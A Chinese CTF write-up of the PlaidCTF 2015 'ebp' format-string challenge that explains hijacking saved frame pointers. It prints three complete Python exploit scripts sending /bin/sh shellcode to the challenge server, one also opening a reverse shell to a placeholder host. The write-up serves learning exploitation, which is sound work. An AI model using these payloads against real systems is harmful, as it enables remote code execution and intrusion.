很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

  不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

  第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。

  第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

  这样,echo在返回的时候将执行shellcode。

  比赛时自己的poc如下:

 from socket import *
import time
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
sock = socket(AF_INET, SOCK_STREAM)
#sock.connect(("192.168.200.7", 10001)) #local debug
sock.connect(("52.6.64.173", 4545))#remote
time.sleep(1)
infoleak="%x%x%x%x\n"
sock.send(infoleak)
time.sleep(1)
leak=sock.recv(1024)
print leak
echo_ebp=leak[-6:-2]
print echo_ebp
echo_ebp=int(echo_ebp,16)
make_ebp=echo_ebp-32
main_ebp=echo_ebp+32
print hex(make_ebp) format1="%%%dc" % make_ebp + "%4$hn\n"
sock.send(format1)
print sock.recv(1024) format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
sock.send(format2)
print sock.recv(1024) while 1:
sock.send(raw_input('$ ')+'\n')
time.sleep(1)
print sock.recv(1024)
sock.close()

  结果:

  此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

 import socket
import struct
import telnetlib response = 0x0804a480 offset = 4 # saved frame pointer offset shellcode = ( # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x54"
"\x5b\x52\x53\x54\x59\x0f\x34"
) s = socket.create_connection(("52.6.64.173", 4545 ))
#s = socket.create_connection(("127.0.0.1", 8080 ))
s.send("%4$p\n")
addr = int(s.recv(1024), 16)
print "[+] Leaked Address: ", hex(addr)
addr1 = (addr - 0x1c) & 0xffff
print "[+] 2Byte Significant Byte to write : ", hex(addr1) s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
s.recv(4096) s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
print "[+] Here you go"
t = telnetlib.Telnet()
t.sock = s
t.interact()

  还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

 #!/usr/bin/env python
from pwn import * r = remote("52.6.64.173", 4545) buf_addr = p32(0x0804a080)
sc_addr = p32(0x0804A09b) payload = ""
payload += "%134520975u%4$n"
payload += buf_addr
payload += sc_addr
payload += "AAAA" payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
payload += asm(shellcraft.linux.dupsh()) print "+ sending payload"
r.send(payload + "\n")
print "+ got back:", r.recv()

plaidctf2015 ebp的更多相关文章

  1. esp和ebp详解

    最近在研究栈帧的结构,但总是有点乱,所以写了一个小程序来看看esp和ebp在栈帧中的作用.这个程序如下: 这个程序很简单,就是求两个数的值,然后输出即可.所以首先把它用gcc编译链接成a.out,进入 ...

  2. 栈帧%ebp,%esp详解

    首先应该明白,栈是从高地址向低地址延伸的.每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息.寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部( ...

  3. EBP的妙用[无法使用ESP定律时]

    1.了解EBP寄存器 在寄存器里面有很多寄存器虽然他们的功能和使用没有任何的区别,但是在长期的编程和使用 中,在程序员习惯中已经默认的给每个寄存器赋上了特殊的含义,比如:EAX一般用来做返回值,ECX ...

  4. 基于EBP的栈帧

    程序的OEP,一开始以 push ebp 和mov ebp esp这两句开始.   原因:c程序的开始是以一个主函数main()为开始的,而函数在访问的过程中最重要的事情就是要确保堆栈的平衡,而在wi ...

  5. EBP与ESP寄存器的使用

    push ebp mov esp,ebp esp是堆栈指针 ebp是基址指针 这两条指令的意思是将栈顶指向ebp的地址 ---------------------------------------- ...

  6. C++代码反汇编后的堆栈寄存器EBP和ESP

    最近在分析一个进程崩溃的严重问题,其中有些过程分析需要对ebp, esp 有清晰的理解,对于ebp 和esp 相信大家都很熟悉了,但是为了使本文自成体系,我还是解释一下. ebp--栈底指针 esp- ...

  7. 堆栈中的EIP EBP ESP

    EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址.  为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个.  我们DC上讲过栈的数据结构,主要有以下特点:  后进先处.(这个强调 ...

  8. GCC优化选项-fomit-frame-pointer对于esp和ebp优化的作用

    我的博客:www.while0.com -fomit-frame-pointer选项是发布产品时经常会用到的优化选项,它可以优化汇编函数中用edp协助获取堆栈中函数参数的部分,不使用edp,而是通过计 ...

  9. 汇编之EBP的认识。

    说到EBP就不能忽略了ESP.ESP是一个指针,始终执行堆栈的栈顶.而EBP就是那个所谓的堆栈了. 先看几个例子吧. push ebp ; 把ebp,堆栈的0地址压入堆栈 mov ebp,esp ; ...

随机推荐

  1. UGUI Button控件

    今天一起来学习下Button控件, Button控件其实是由Text,Button,Image组件形成的. 这里就简单介绍下Button组件 Interactable: 代表该组件是否进行交互, 我们 ...

  2. IOS 掉用系统发短信

    #import <MessageUI/MessageUI.h> MFMessageComposeViewControllerDelegate #pragma mark - 调用ios系统短 ...

  3. Java Base64编码与图片互转

    import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import ...

  4. C的|、||、&、&&、异或、~、!运算(转)

    位运算     位运算的运算分量只能是整型或字符型数据,位运算把运算对象看作是由二进位组成的位串信息,按位完成指定的运算,得到位串信息的结果. 位运算符有:     &(按位与).|(按位或) ...

  5. JavaScript面向对象精要(一)

    数据类型 在JavaScript中,数据类型分为两类: 原始类型:保存一些简单数据,如true.5等.JavaScript共同拥有5中原始类型: boolean:布尔.值为true或false num ...

  6. iOS开发那些事儿(一)轮播器

    前言 市面上绝大部分的APP被打开之后映入眼帘的都是一个美轮美奂的轮播器,所以能做出一个符合需求.高效的轮播器成为了一个程序员的必备技能.所以今天的这篇博客就来谈谈轮播器这个看似简单的控件其中蕴含的道 ...

  7. typedef和define的作用域

    typedef: 如果放在所有函数之外,它的作用域就是从它定义开始直到文件尾: 如果放在某个函数内,定义域就是从定义开始直到该函数结尾: #define: 不管是在某个函数内,还是在所有函数之外,作用 ...

  8. ASP.NET和PHP全面对比

    谁是速度之王? 刚刚在9月编程语言排行榜上取得历史性突破的PHP在Web开发领域最到的对手可能就是基于微软.NET技术的ASP.NET.近日,微软的 Joe Stagner在博客上发表了一系列文章比较 ...

  9. Java路径问题最终解决方案—可定位所有资源的相对路径寻址

    1.在Java项目中,应该通过绝对路径访问文件,以下为访问的常用方法: 第一种方法:类名.class.getResource("/").getPath()+文件名 第二种方法:Th ...

  10. Python之路第八天,进阶-设计模式

    设计模式 单例模式 单例,顾名思义单个实例. 学习单例之前,首先来回顾下面向对象的内容: python的面向对象由两个非常重要的两个"东西"组成:类.实例 面向对象场景一: 如:创 ...